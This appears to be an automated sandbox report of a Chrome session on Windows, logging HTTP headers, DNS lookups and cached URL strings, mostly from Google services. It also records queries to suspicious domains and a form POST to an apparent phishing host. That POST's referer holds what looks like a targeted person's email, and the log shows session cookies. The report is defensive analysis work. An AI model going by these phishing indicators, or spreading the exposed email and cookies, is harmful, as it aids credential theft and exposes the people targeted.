NID=522=VFIUElu4a6E6wS2G5Dne4C4Y8IbyMkuX7YjcyA3y-yEU3_GYnMrY7UwtCrucXWuFmLz2Vql803qmDkxp2mmKihXbXUEy2LLalqGN1X0gF2f3tcS9POXPr9IguxWuHzvWS0wKK8sMnaFSlDejd3cJJP02Ior6GsTYNcNj1XWbcpHOaZx43n61nEMban0b2-KAysuT2QOOlcsJJmPGXXUG8xaoyjdUE__Y9z38Zq_KHg
Source: global traffic	HTTP traffic detected: GET /xjs/_/js/k=xjs.hd.en.mCEcQSPrsnc.es5.O/am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAQAQAAAACAAAAAEAAAEAAAAAAjACAQAAAEAAAAwAgAAAAAAwAAAAAAgAAAADAAwKOMAgACJAAAAAAAAACACwBAgAEABAAAAAAAAAAAAQAAAAAAAAEAAAAAAAAFAAAAAAAEAAAAAAAIAAACCAAAAAAAAAAAAAAAAADQAwAAAAAAAAAAAAAAAQAAYDBCARAAAAAAAADQA0DwAEMKCgAAAAAAAAAAAAAABEgQzIUEAgIIAAAAAAAAAAAAAAAAAChpYqEB/d=0/dg=0/br=1/rs=ACT90oFd0_0CcwJNKEYnPSXbCsIfszuflg/m=lOO0Vd,sy86,P6sQOc?xjs=s4 HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 9.5sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"sec-ch-prefers-color-scheme: lightUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36rtt: 200sec-ch-ua-platform-version: "10.0.0"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCL7VzgEIgdbOAQjI3M4BCLHezgEIiuDOAQiu5M4BCIvlzgE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2crRJMU2N9jh2uE_sd30SCo6mRfJrahwbyZNVphPHim-yqNrD8Pw0s; OGPC=19046228-1:; NID=522=VFIUElu4a6E6wS2G5Dne4C4Y8IbyMkuX7YjcyA3y-yEU3_GYnMrY7UwtCrucXWuFmLz2Vql803qmDkxp2mmKihXbXUEy2LLalqGN1X0gF2f3tcS9POXPr9IguxWuHzvWS0wKK8sMnaFSlDejd3cJJP02Ior6GsTYNcNj1XWbcpHOaZx43n61nEMban0b2-KAysuT2QOOlcsJJmPGXXUG8xaoyjdUE__Y9z38Zq_KHg
Source: global traffic	HTTP traffic detected: GET /gen_204?atyp=i&ct=psnt&cad=&nt=navigate&ei=43TkZ9b3MZSw0PEPiIOGsQ0&zx=1743025383295&opi=89978449 HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 9.5sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"sec-ch-prefers-color-scheme: lightUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36rtt: 200sec-ch-ua-platform-version: "10.0.0"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCL7VzgEIgdbOAQjI3M4BCLHezgEIiuDOAQiu5M4BCIvlzgE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2crRJMU2N9jh2uE_sd30SCo6mRfJrahwbyZNVphPHim-yqNrD8Pw0s; OGPC=19046228-1:; NID=522=VFIUElu4a6E6wS2G5Dne4C4Y8IbyMkuX7YjcyA3y-yEU3_GYnMrY7UwtCrucXWuFmLz2Vql803qmDkxp2mmKihXbXUEy2LLalqGN1X0gF2f3tcS9POXPr9IguxWuHzvWS0wKK8sMnaFSlDejd3cJJP02Ior6GsTYNcNj1XWbcpHOaZx43n61nEMban0b2-KAysuT2QOOlcsJJmPGXXUG8xaoyjdUE__Y9z38Zq_KHg
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 9.5sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"sec-ch-prefers-color-scheme: lightUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36rtt: 200sec-ch-ua-platform-version: "10.0.0"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCL7VzgEIgdbOAQjI3M4BCLHezgEIiuDOAQiu5M4BCIvlzgE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2crRJMU2N9jh2uE_sd30SCo6mRfJrahwbyZNVphPHim-yqNrD8Pw0s; OGPC=19046228-1:; NID=522=VFIUElu4a6E6wS2G5Dne4C4Y8IbyMkuX7YjcyA3y-yEU3_GYnMrY7UwtCrucXWuFmLz2Vql803qmDkxp2mmKihXbXUEy2LLalqGN1X0gF2f3tcS9POXPr9IguxWuHzvWS0wKK8sMnaFSlDejd3cJJP02Ior6GsTYNcNj1XWbcpHOaZx43n61nEMban0b2-KAysuT2QOOlcsJJmPGXXUG8xaoyjdUE__Y9z38Zq_KHg
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCLHezgE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2crRJMU2N9jh2uE_sd30SCo6mRfJrahwbyZNVphPHim-yqNrD8Pw0s; OGPC=19046228-1:; NID=522=VFIUElu4a6E6wS2G5Dne4C4Y8IbyMkuX7YjcyA3y-yEU3_GYnMrY7UwtCrucXWuFmLz2Vql803qmDkxp2mmKihXbXUEy2LLalqGN1X0gF2f3tcS9POXPr9IguxWuHzvWS0wKK8sMnaFSlDejd3cJJP02Ior6GsTYNcNj1XWbcpHOaZx43n61nEMban0b2-KAysuT2QOOlcsJJmPGXXUG8xaoyjdUE__Y9z38Zq_KHg
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCLHezgE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2crRJMU2N9jh2uE_sd30SCo6mRfJrahwbyZNVphPHim-yqNrD8Pw0s; OGPC=19046228-1:; NID=522=VFIUElu4a6E6wS2G5Dne4C4Y8IbyMkuX7YjcyA3y-yEU3_GYnMrY7UwtCrucXWuFmLz2Vql803qmDkxp2mmKihXbXUEy2LLalqGN1X0gF2f3tcS9POXPr9IguxWuHzvWS0wKK8sMnaFSlDejd3cJJP02Ior6GsTYNcNj1XWbcpHOaZx43n61nEMban0b2-KAysuT2QOOlcsJJmPGXXUG8xaoyjdUE__Y9z38Zq_KHg
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCLHezgE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2crRJMU2N9jh2uE_sd30SCo6mRfJrahwbyZNVphPHim-yqNrD8Pw0s; OGPC=19046228-1:; NID=522=VFIUElu4a6E6wS2G5Dne4C4Y8IbyMkuX7YjcyA3y-yEU3_GYnMrY7UwtCrucXWuFmLz2Vql803qmDkxp2mmKihXbXUEy2LLalqGN1X0gF2f3tcS9POXPr9IguxWuHzvWS0wKK8sMnaFSlDejd3cJJP02Ior6GsTYNcNj1XWbcpHOaZx43n61nEMban0b2-KAysuT2QOOlcsJJmPGXXUG8xaoyjdUE__Y9z38Zq_KHg
Source: global traffic	HTTP traffic detected: GET /url?q=https://accounts.google.com/signin/v2/identifier%3Fec%3Dfutura_hpp_co_si_001_p%26continue%3Dhttps%253A%252F%252Fwww.google.com%252F%253Fptid%253D19027681%2526ptt%253D8%2526fpts%253D0&source=hpp&id=19046229&ct=7&usg=AOvVaw33MBGJMT3TA0n4WMEDSPEO HTTP/1.1Host: www.google.comConnection: keep-alivertt: 200downlink: 9.4sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "134.0.6998.36"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-wow64: ?0sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-form-factors: "Desktop"sec-ch-prefers-color-scheme: lightUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Browser-Channel: stableX-Browser-Year: 2025X-Browser-Validation: wTKGXmLo+sPWz1JKKbFzUyHly1Q=X-Browser-Copyright: Copyright 2025 Google LLC. All rights reserved.X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCL7VzgEIgdbOAQjI3M4BCLHezgEIiuDOAQiu5M4BCIvlzgE=Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://ogs.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2crRJMU2N9jh2uE_sd30SCo6mRfJrahwbyZNVphPHim-yqNrD8Pw0s; OGPC=19046228-1:; NID=522=VFIUElu4a6E6wS2G5Dne4C4Y8IbyMkuX7YjcyA3y-yEU3_GYnMrY7UwtCrucXWuFmLz2Vql803qmDkxp2mmKihXbXUEy2LLalqGN1X0gF2f3tcS9POXPr9IguxWuHzvWS0wKK8sMnaFSlDejd3cJJP02Ior6GsTYNcNj1XWbcpHOaZx43n61nEMban0b2-KAysuT2QOOlcsJJmPGXXUG8xaoyjdUE__Y9z38Zq_KHg
Source: global traffic	HTTP traffic detected: GET /accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=613716764&timestamp=1743025394854 HTTP/1.1Host: accounts.youtube.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "134.0.6998.36"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-wow64: ?0sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-form-factors: "Desktop"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Browser-Channel: stableX-Browser-Year: 2025X-Browser-Validation: wTKGXmLo+sPWz1JKKbFzUyHly1Q=X-Browser-Copyright: Copyright 2025 Google LLC. All rights reserved.X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCL7VzgEIgdbOAQjI3M4BCLHezgEIiuDOAQiu5M4BCIvlzgE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activeReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCLHezgE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2crRJMU2N9jh2uE_sd30SCo6mRfJrahwbyZNVphPHim-yqNrD8Pw0s; OGPC=19046228-1:; NID=522=VFIUElu4a6E6wS2G5Dne4C4Y8IbyMkuX7YjcyA3y-yEU3_GYnMrY7UwtCrucXWuFmLz2Vql803qmDkxp2mmKihXbXUEy2LLalqGN1X0gF2f3tcS9POXPr9IguxWuHzvWS0wKK8sMnaFSlDejd3cJJP02Ior6GsTYNcNj1XWbcpHOaZx43n61nEMban0b2-KAysuT2QOOlcsJJmPGXXUG8xaoyjdUE__Y9z38Zq_KHg; OGP=-19046228:
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCLHezgE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2crRJMU2N9jh2uE_sd30SCo6mRfJrahwbyZNVphPHim-yqNrD8Pw0s; OGPC=19046228-1:; NID=522=VFIUElu4a6E6wS2G5Dne4C4Y8IbyMkuX7YjcyA3y-yEU3_GYnMrY7UwtCrucXWuFmLz2Vql803qmDkxp2mmKihXbXUEy2LLalqGN1X0gF2f3tcS9POXPr9IguxWuHzvWS0wKK8sMnaFSlDejd3cJJP02Ior6GsTYNcNj1XWbcpHOaZx43n61nEMban0b2-KAysuT2QOOlcsJJmPGXXUG8xaoyjdUE__Y9z38Zq_KHg; OGP=-19046228:

Source: chromecache_119.1.dr	String found in binary or memory: _.Bn(p)+"/familylink/privacy/notice/embedded?langCountry="+_.Bn(p);break;case "PuZJUb":a+="https://www.youtube.com/t/terms?chromeless=1&hl="+_.Bn(m);break;case "fxTQxb":a+="https://youtube.com/t/terms?gl="+_.Bn(_.Kn(c))+"&hl="+_.Bn(d)+"&override_hl=1"+(f?"&linkless=1":"");break;case "prAmvd":a+="https://www.google.com/intl/"+_.Bn(m)+"/chromebook/termsofservice.html?languageCode="+_.Bn(d)+"&regionCode="+_.Bn(c);break;case "NfnTze":a+="https://policies.google.com/privacy/google-partners"+(f?"/embedded": equals www.youtube.com (Youtube)
Source: chromecache_139.1.dr	String found in binary or memory: _.Dz(g);break;case "oG93te":m+="https://families.google.com/intl/"+_.Dz(g)+"/familylink/privacy/notice/embedded?langCountry="+_.Dz(g);break;case "PuZJUb":m+="https://www.youtube.com/t/terms?chromeless=1&hl="+_.Dz(n);break;case "fxTQxb":m+="https://youtube.com/t/terms?gl="+_.Dz(_.Jz(c))+"&hl="+_.Dz(d)+"&override_hl=1"+(f?"&linkless=1":"");break;case "prAmvd":m+="https://www.google.com/intl/"+_.Dz(n)+"/chromebook/termsofservice.html?languageCode="+_.Dz(d)+"&regionCode="+_.Dz(c);break;case z:m+="https://policies.google.com/privacy/google-partners"+ equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: nvgy.zonqdkqezktw.es
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: developers.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: fli5.nmpjkg.ru
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: google.com
Source: global traffic	DNS traffic detected: DNS query: ogs.google.com
Source: global traffic	DNS traffic detected: DNS query: ogads-pa.clients6.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: accounts.youtube.com
Source: global traffic	DNS traffic detected: DNS query: beacons.gcp.gvt2.com
Source: global traffic	DNS traffic detected: DNS query: beacons.gvt2.com
Source: global traffic	DNS traffic detected: DNS query: beacons2.gvt2.com
Source: global traffic	DNS traffic detected: DNS query: beacons3.gvt2.com
Source: global traffic	DNS traffic detected: DNS query: beacons4.gvt2.com
Source: global traffic	DNS traffic detected: DNS query: beacons5.gvt2.com

Source: unknown

HTTP traffic detected: POST /kmd85iTTqfc1CQuXoYGPqfBqk8XP6c HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-aliveContent-Length: 774sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymoH1ErXAxONKPZsAsec-ch-ua-mobile: ?0Accept: */*Origin: https://nvgy.zonqdkqezktw.esSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://nvgy.zonqdkqezktw.es/8VVgl7/$anina@arts.state.tx.usAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImtDUDRIK2RiSklnaXYrMzlERVQ3cEE9PSIsInZhbHVlIjoiV2RWMVp2UitoRzJaWm1UODRMblZPTlM2L21NY1FDRWpwNEFmMGlNWWEzMlltQng4R3BVWkZGbytUZkhvcnBCUHNYRnVZcW9PR2JRUzZub3RKUWhMWmNtaHA4bWt6cnVqVkZSWkVJcWJPLzBVMm9VRjJMTk9WU3FsRzFQNDBCZWIiLCJtYWMiOiJjMGU0MjFkM2MwNTQ1NDFkOGJkMjUyY2QzYmU0YzdjN2JkOWE5ZjgxNmViMzI5NmQ0M2RlOTk3NmYxYmNkNGNiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Iml6K3dMUHJhSGNZWjZQa3RpcjdRS0E9PSIsInZhbHVlIjoiTTY1b1QxMzdxOFdhL0s5eVpaeUFITGdLSC9KN1NOK0duVDJ1R2haM0E1SnNPdXFqa09ETi9zWldFa2dBaUhWdzQ1eUVUR3ZXeUNqSkxaWHlQb3NjWnBteEVvVEdnNUVad0FSMWxPQ0N3Ri9LcHZWQjVLd3llbUFNQjBrVW1LcmMiLCJtYWMiOiI5NmM5MmFlNjZlNWIwODNiODE2NDQyYWEzNGVkMDZmZTQ5OWI4ZWYyODYxYjgzMDIzNjY0NjRjODQzZjc0ODIyIiwidGFnIjoiIn0%3D

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 26 Mar 2025 21:42:58 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeServer: cloudflareCf-Cache-Status: DYNAMICVary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eBOWUoKzVIl%2BS9n2NuYCQTdEUAOOHls9VJ2miX7dOL%2BGgAPjJPnKFfaojH2J4O9aINVeXJs5ZLLtGvsOVaU5P%2BLfD6L5NV6G2hA3HlGQ2%2BRKdyr323k%2FIa5YU%2BJOxUmwsh8k"}],"group":"cf-nel","max_age":604800}Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server-Timing: cfL4;desc="?proto=TCP&rtt=333&min_rtt=304&rtt_var=120&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2055&delivery_rate=9560283&cwnd=252&unsent_bytes=0&cid=58b6b95583d2caa6&ts=160&x=0"CF-RAY: 9269d2254e3d42e2-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 26 Mar 2025 21:42:58 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: EXPIREDAge: 167Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Taa6F776pu5eXSOQmgQhjTIckQNIJfMcNV9h6Uiuij8fY%2BXj71%2Beepk36Oyr%2B64t58VVYtGOtKbFvKsLLePyAbvE%2BIbHPKWo8zCcKI3xqj0hWgnT3dZvit68ajI%2Fahmpxt8r"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingserver-timing: cfL4;desc="?proto=TCP&rtt=19119&min_rtt=19105&rtt_var=5383&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2274&delivery_rate=211384&cwnd=252&unsent_bytes=0&cid=2ce77ca4fb4dc072&ts=38&x=0"Cache-Control: max-age=14400Server: cloudflareCF-RAY: 9269d2299f2d7290-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=89350&min_rtt=89333&rtt_var=18874&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2837&recv_bytes=1928&delivery_rate=34183&cwnd=252&unsent_bytes=0&cid=32b9ae95abe3628f&ts=304&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 26 Mar 2025 21:43:00 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=59V%2FbDeCa%2FLpqXK8LDzBuTSx7075Ssryl6BdHn2mV7wcU3WzeQ8hLKn2I9YobD7C%2FTT2qyfGi0%2BNqCO96MTaXOSbLyhSSiV%2BVUjuq2GW9POe3IrwifUagMkI9exEERj5OjG7"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=272&min_rtt=254&rtt_var=104&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2071&delivery_rate=11687861&cwnd=252&unsent_bytes=0&cid=32535725d360a6e2&ts=155&x=0"Server: cloudflareCF-RAY: 9269d2351ec74400-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=88935&min_rtt=88875&rtt_var=18786&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2839&recv_bytes=1725&delivery_rate=34359&cwnd=245&unsent_bytes=0&cid=e7f9b60ac2c01fa1&ts=377&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Wed, 26 Mar 2025 21:43:03 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script'Strict-Transport-Security: max-age=10886400; includeSubdomainsServer: ESFX-XSS-Protection: 0X-Content-Type-Options: nosniffServer-Timing: gfet4t7; dur=34Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Accept-Ranges: noneVary: Accept-EncodingConnection: closeTransfer-Encoding: chunked

Source: chromecache_131.1.dr	String found in binary or memory: http://schema.org/WebPage
Source: chromecache_165.1.dr	String found in binary or memory: http://www.broofa.com
Source: chromecache_119.1.dr	String found in binary or memory: https://accounts.google.com
Source: chromecache_119.1.dr	String found in binary or memory: https://accounts.google.com/TOS?loc=
Source: chromecache_156.1.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_156.1.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: chromecache_167.1.dr	String found in binary or memory: https://accounts.google.com/signin/v2/identifier%3Fec%3Dfutura_hpp_co_si_001_p%26continue%3Dhttps%25
Source: chromecache_126.1.dr, chromecache_114.1.dr, chromecache_145.1.dr, chromecache_120.1.dr	String found in binary or memory: https://angular.dev/license
Source: chromecache_131.1.dr, chromecache_165.1.dr, chromecache_156.1.dr	String found in binary or memory: https://apis.google.com
Source: chromecache_114.1.dr, chromecache_120.1.dr	String found in binary or memory: https://apis.google.com/js
Source: chromecache_126.1.dr	String found in binary or memory: https://apis.google.com/js/api.js
Source: chromecache_178.1.dr	String found in binary or memory: https://cda-push-dev.sandbox.googleapis.com/upload/
Source: chromecache_156.1.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_178.1.dr	String found in binary or memory: https://content-push.googleapis.com/upload/
Source: chromecache_156.1.dr	String found in binary or memory: https://content.googleapis.com
Source: chromecache_145.1.dr	String found in binary or memory: https://csp.withgoogle.com/csp/lcreport/
Source: chromecache_156.1.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: chromecache_178.1.dr	String found in binary or memory: https://embeddedassistant-webchannel.googleapis.com/google.assistant.embedded.v1.EmbeddedAssistant/A
Source: chromecache_139.1.dr	String found in binary or memory: https://families.google.com/intl/
Source: chromecache_165.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_165.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_165.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
